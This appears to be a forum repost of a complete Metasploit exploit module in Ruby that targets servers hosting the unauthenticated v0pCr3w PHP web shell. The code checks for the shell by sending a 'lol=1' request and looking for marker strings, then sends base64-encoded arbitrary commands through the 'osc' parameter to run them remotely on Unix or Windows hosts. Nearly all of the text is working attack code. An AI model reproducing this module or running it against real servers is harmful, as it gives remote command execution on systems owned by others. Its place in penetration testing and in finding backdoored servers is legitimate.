v0pCr3w Web Shell Remote Code Execution Vulnerability

v0pCr3w Web Shell Remote Code Execution Vulnerability

کد:

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#  Penetration Testing Software | Metasploit
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'          => 'v0pCr3w Web Shell Remote Code Execution',
      'Description'    => %q{
          This module exploits a lack of authentication in the shell developed by v0pCr3w
        and is widely reused in automated RFI payloads. This module takes advantage of the
        shell's various methods to execute commands.
      },
      'License'        => MSF_LICENSE,
      'Author'        =>
        [
          'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
        ],
      'References'    =>
        [
          ['URL', 'V0pCr3w shell - Ballast Security'],
          ['URL', 'PHP Decoder']
        ],
      'Privileged'    => false,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'      => ['unix', 'win'],
      'Arch'          => ARCH_CMD,
      'Targets'        =>
        [
          ['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
          ['v0pCr3w / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Mar 23 2013',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
      ],self.class)
  end
 
  def check
    shell = send_request_cgi({
      'method'  => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'lol' => '1'
      }
    })
    if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
 
  def http_send_command(cmd)
    p = Rex::Text.encode_base64(cmd)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'osc' => p
      }
    })
    if not (res and res.code == 200)
      fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
    end
  end
 
  def exploit
    http_send_command(payload.encoded)
  end
end

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